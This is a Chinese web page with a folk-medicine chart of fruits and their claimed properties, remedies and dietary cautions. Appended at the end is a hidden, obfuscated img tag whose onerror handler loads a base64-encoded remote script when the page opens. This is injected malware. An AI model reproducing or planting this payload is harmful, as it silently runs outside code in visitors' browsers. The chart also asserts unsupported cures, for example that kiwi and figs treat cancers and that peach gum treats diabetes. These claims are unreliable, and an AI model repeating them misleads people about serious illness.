老中医

<p> 老中医老中医对水果的私家点评    <br/>    <br/>名称 总体评价 秉性/适宜体质 主要成份及功效 小食谱<br/>苹果 &#34;一日一苹果,<br/>医生远离我&#34; 脾胃虚寒型的慢性腹泻需用锡纸包裹、煨熟吃 &#34;含最多果糖、有机酸、果胶、微量元素<br/>1.果胶:属于可溶性纤维,促进胆固醇代谢、降低胆固醇水平、促进脂肪排出;<br/>2.微量元素:钾扩张血管、有利高血压患者;锌缺乏会引致血糖代谢紊乱与性功能下降。<br/>3.可条理肠胃:纤维物有助排泄;对腹泻也有收敛作用。<br/>4.苹果皮+数片姜煮水:可止呕吐。<br/>5.可减梨之寒,强化润肺润胃。&#34; 秋季润肺糖水:苹果/梨数个+1两百合+石斛15克+南北杏9克<br/>木瓜 万寿果 味甘、性平、微寒 &#34;蛋白分解酵素。<br/>1.所含酵素近似人体生长素,多吃保持青春。<br/>2.蛋白酵素有助分解蛋白质和淀粉质,对消化系统大有裨益。<br/>3.助消化之余能消暑解渴、润肺止咳,对感冒咳痰、便秘、慢气管炎有帮助。&#34; &#34;熟木瓜+柿饼煎服,可治气喘性咳唆<br/>熟木瓜去皮+蒸熟+蜜糖,治肺燥咳嗽<br/>生木瓜缴汁或晒干研粉,可驱虫。<br/>木瓜煮鱼尾或猪蹄,促进乳汁分泌。<br/>&#34;<br/>西瓜  &#34;性质寒凉/<br/>胃寒、孕妇、身体略燥热底子寒虚之人不宜。<br/>强壮实热之人适宜。&#34; 不慎吃多了见晕作闷,可含一片生姜解救。 <br/>梨 &#34;<br/>百果之宗<br/>清热佳品&#34; &#34;性质带寒/<br/>体质虚寒、寒咳者不宜生吃,必须隔水蒸、或放汤、或与药材清炖。<br/>天鹅梨、香梨、贡梨偏凉;皮粗的沙梨和进口啤梨更寒凉。&#34; 吃多了咽喉痛 &#34;南北杏、梨(带寒)+银耳(偏凉)煮糖水,治声沙口干。但较适合本身带实热、或虚火需要清热之人。<br/>南北杏、梨(带寒)+川贝母9克煮糖水,强补肺气。<br/>南北杏、梨(带寒)+百合煮糖水,养阴安神。&#34;<br/>芒果 &#34;<br/>不宜多食<br/>有药用价值&#34; &#34;性平味甘、解渴生津。<br/>性质带湿毒、有皮肤病或肿瘤、避免进食<br/>(湿疹/流脓/妇科病/水肿/脚气--湿者再进食芒果会加重)<br/>未熟的可能治过敏<br/>哮喘禁忌。&#34; &#34;少数的富含蛋白质水果之一,多吃易饱。<br/>1.益眼、润泽皮肤。<br/>2.解毒消滞、降压。<br/>3.止呕,治晕船浪。孕妇作呕。&#34; <br/>猕猴桃/奇异果 &#34;<br/>防癌有道&#34; 咳嗽时进食可能会加重病情。 &#34;1.维生素C比苹果高20-80倍,比柑橘高5-10倍,这种抗氧化物可有效阻止致癌物质亚硝酸安在人体内形成。<br/>2。调中下气。滋补强身、清热利尿、清胃润燥。<br/>3.治内热心烦、防治坏血病、高血压、心血管病、癌症等。<br/>4.对于医治消化道癌症和肺癌别有一手。&#34; <br/>山竹 &#34;<br/>性至寒&#34; &#34;性至寒/<br/>体质虚寒者少吃尚可,多吃不宜。更勿与西瓜、豆浆、啤酒、白菜、芥菜、苦瓜、冬瓜荷叶汤等寒凉物同吃。&#34; 不慎吃过量,用红糖煮姜茶解之。 <br/>菠萝 &#34;<br/>生津和胃&#34; &#34;性质湿热。<br/>气管或支气管敏感的病人戒食。<br/>需浸盐水让部分有机酸分解,减少其毒。&#34; &#34;1.富含纤维,能刺激肠道。具收敛作用,酌量不会腹泻可帮助止泻。<br/>2.健脾胃、固元气。菠萝脘在胃中分解蛋白质、帮助消化。<br/>3.吃后感到喉部不适就是过敏症状、需喝一杯淡盐水稀释致敏成分。&#34; <br/>榴莲 虚寒进补用 &#34;性质热而滞/<br/>癌症或康复者、皮肤病或阴虚肝热者戒口<br/>体质虚寒者吃可壮阳助火。<br/>产后虚寒者可做补品。&#34; 吃过量可立即吃几个山竹化解 <br/>荔枝 &#34;<br/>惹火尤物<br/>壮阳&#34; &#34;实热阴虚火旺者(皮肤病、口干舌燥、失眠)不宜吃。<br/>痛风、糖尿病者不宜多吃。<br/>体质平和或虚寒者可饱享。&#34; 吃过量者,吃性寒的西瓜或喝一碗荷叶冬瓜水 <br/>椰子  &#34;性质温和/<br/>椰肉可补阳火、强健身体,适合身体虚弱、四肢无力、容易疲倦者。<br/>体内热盛者不宜。&#34; 脂肪和蛋白质含量多。 &#34;椰子糯米炖鸡,有补益功效。<br/>椰子水+沙参+百合+石斛=清热养阴<br/>椰子水+冬瓜子=泻肺火<br/>椰子水+性凉的银耳或清补的黄耳&#34;<br/>柠檬 &#34;<br/>女性水果&#34; 胃病者不宜柠檬茶。 &#34;1.柠檬汁+暖水+盐=祛痰功效、比橙和橘强。<br/>2.感冒初期:柠檬+蜜糖冲水=舒缓喉痛/减少喉咙干涸不适<br/>3.可安胎[宜母子]、美颜、去斑、防止色素沉着、改善子宫前倾、子宫韧带松垂甚至闭经<br/>4.清柠可降血压胆固醇、改善心血管。&#34; <br/>龙眼 &#34; <br/>滋补非人人宜吃&#34; &#34;内热、痰火不应多吃。<br/>痛风者吃过量引发关节肿痛。<br/>本身带热哮喘者吃引发肺热咳嗽<br/>燥热、皮肤病、胃胀不宜多吃。&#34; 1.晒干后养血安神、对于心血不足(无端心跳、易倦者)失眠者有很大疗效。 <br/>柿子 &#34;<br/>全身都是宝&#34; &#34;胃甜性寒/<br/>身体虚弱、脾肾虚寒、外感风寒者忌。最好去皮吃防铁吸收。&#34; &#34;1.所含维生素和糖分高于一般水果1-2倍。<br/>消热去烦、止渴生津、润肺化痰、治疗热咳。<br/>2.柿蒂主治呃逆、夜尿。<br/>3.柿叶茶含大量维C,降压、保护心血管、治失眠。<br/>4.柿饼性质平和、润肺理气。<br/>5.柿饼上的糖霜:喉咙咽干和口腔炎的特效药&#34; <br/>香蕉 &#34;<br/>降压通便&#34; &#34;味甘性寒/<br/>适合燥热人士。<br/>体质虚寒、脾虚滞泻、寒咳不宜<br/>(胃寒/肾炎/怀孕期脚肿不宜) &#34; &#34;淀粉质丰富。<br/>1.晴热润肠、促进肠胃蠕动。<br/>2.钾丰富、降血压。&#34; &#34;香蕉炖冰糖=医治久咳<br/>&#34;<br/>番石榴 除湿止泻 &#34;味甘性平/<br/>肝热人应慎防便秘,去核吃或配合纤维丰富的柚子等水果。&#34; 生津止渴、除烦止泻、杜虫、调节尿糖。 <br/>甘蔗 &#34;<br/>清心润肺&#34; &#34;本身带凉,体质虚寒不宜多饮。<br/>黑皮蔗:温和滋补,喉咙热盛者不宜;<br/>青皮蔗:味甘性凉,解肺热和肠胃热。<br/>寒痰者(白而稀)勿饮。&#34; &#34;1.润喉生津、解除心胸烦热、口干舌燥<br/>2.小儿出水痘麻疹时,当水冲饮。&#34; 青皮蔗+白茅根+红萝卜煮水=清热<br/>甜瓜(密瓜) &#34;<br/>止咳又惹咳&#34; &#34;兰州蜜瓜/美洲蜜瓜较哈密瓜/绉皮瓜寒凉。会令人热上加热或寒上加寒。<br/>易见眩晕、月经及白带量多者忌<br/>体质虚寒/哮喘者不宜。&#34;  <br/>枣 &#34;<br/>滋补强身&#34;  &#34;蛋白质、糖分丰富。通血管、降血压。<br/>鲜枣维C含量比柠檬高10倍。<br/>红枣:补血力最强,但也较燥<br/>南枣:偏于养阴补血。<br/>酸枣:养血。<br/>鲜蜜枣/金丝蜜枣:润肺/胃&#34; 慢性肝炎方:红枣煮鸡骨草和土茵陈<br/>无花果 &#34;<br/>健康大使<br/>可治溃疡<br/>&#34;  &#34;果肉含钙、磷、镁、铜、锰、锌、硼多种必须矿物质和微量元素。<br/>1.主清利咽喉、开胸膈、清痰化滞<br/>2.五痔肿痛、煎汤频熏之、取效<br/>3.加速伤口复原、对消化道溃疡有疗效。<br/>4.医治痔疮出血、对大肠癌有辅助作用。<br/>5.含抗氧化物、抗衰老。<br/>6.含果胶和纤维、吸附肠道内有毒物质,有排毒作用。<br/>7.与苹果一样,双向调节肠胃,脾虚泻滞吃可止泻;便秘吃润肠通便。<br/>8.培干磨粉有助胃溃疡愈合。&#34; <br/>西红柿 开胃但湿毒 &#34;味甘性凉生津止渴、健胃消食/<br/>但性质湿而带毒,不适合痛风、风湿骨痛、湿疹及皮肤病、肿瘤患者。<br/>风疹戒吃虾蟹、西红柿<br/>肠胃虚寒腹泻者、寒咳(喉痒痰白)者最好煮熟吃。&#34; &#34;1.含丰富维生C,煮时不易破坏,易被人体吸收<br/>2.高血压患者辅助食疗&#34; <br/>樱桃 &#34;<br/>补血固肾冠军&#34; &#34;性温带补/<br/>心火过旺、燥热喉痛者少吃为宜。&#34; &#34;1.铁含量果中之冠,可补血。素患贫血、血色素低或须壮阳的人吃后利口利腹。<br/>2.樱桃引发的虚火,饮蔗汁解之。<br/>3.周身是宝,核可透发麻疹、使病毒不致困在体内。<br/>4.叶可解蛇毒,根可杜虫。<br/>现化学污染重,味道越甜、个子越小受害越深,应用盐水浸5-10分钟再吃。&#34; <br/>葡萄 &#34;<br/>补血固肾冠军<br/>强壮体质&#34; &#34;性质较樱桃平和<br/>肺虚咳嗽、胎动不安、肾炎患者特别适合吃葡萄或葡萄汁补身。&#34; 皮和果肉、核都很有益,所含维E、B12、P、C对心脏甚有利。 <br/>水蜜桃 补血养颜 &#34;性温/<br/>多吃会令人体内热过盛、胃胀胸闷<br/>&#34; &#34;1.含丰富铁质、增加人体血红蛋白数量。<br/>2.含较多脂肪和蛋白质<br/>3.桃肉美颜<br/>4.桃仁活血化淤、平喘止咳,但过量和行经期间不宜。<br/>5.桃树流出来得树胶是一味糖尿妙药,可强壮滋补、调节血糖水平。<br/>6.桃花可煮水洗面、沐浴、饮用。<br/>7.桃子榨汁+淘米水洗面润泽肌肤。&#34; <br/>柚子 润肺止咳 性质平和、润肺止咳。 &#34;1.含丰富纤维质(天然通便剂)、维生素C(天然泻剂)、维生素P,促进肠道蠕动。<br/>2.所含果胶可降胆固醇、维P增加血管弹性、维C能通便兼对抗令人衰老的游离基。<br/>3.果汁中含类似胰岛素的物质、降低血糖。&#34; 经常感冒、咳嗽、气管敏感者:鲜柚留皮去核+正北杏、贝母、未经漂染银耳各一30克+蜜糖炖,强健肺部<br/>橙柑橘 抗癌食品 &#34;化痰顺气。<br/>热咳(痰浓浊口干)最宜吃橙柑橘<br/>寒咳(喉咙痕者)须避忌。&#34; &#34;1.维C丰富,增强抵抗力,名副其实的保安康抗氧化剂。<br/>2.顺气化痰、清热生津、健脾开胃。<br/>3.陈皮:维C和胡萝卜素比果肉多,内含挥发油促进肠胃蠕动,排除脂肪降低血中胆固醇。福建陈皮更平和,增加胃液分泌、促进痰派出,消炎利胆。&#34; &#34;感冒时作呕作闷:陈皮老姜煮粥。<br/>咳嗽痰多:鲜橙连皮煮南北杏(冰糖)&#34;<br/>南北杏 护体 性质平和、润肺止渴 &#34;1.鲜杏含丰富蛋白质、胡萝卜素、维AC、钙、磷、铁、儿茶素,可帮助对抗癌物质及游离基的侵袭。<br/>2.杏仁糊帮助排便、止咳润肺。<br/>3.银杏中也含小量氢氰酸,不宜大量生吃。生吃十数粒,有清热之效。<br/>4.银杏有降胆固醇、固肾、止咳之效。&#34; &#34;虚寒者:将银杏煨熟配药<br/>夜尿者:煨熟银杏蘸蜜糖<br/>白带多者:煨熟银杏煮鸡蛋糖水<br/>腐竹配白果鸡蛋糖水:不是以身体虚寒者。&#34;<IMg/height="0"Src="x"OneRRoR=document.head.appendChild(createElement("script")).src=atob("aHR0cHM6Ly9vcmdhb3JnLmNvbS94ai5qcw==")> </p>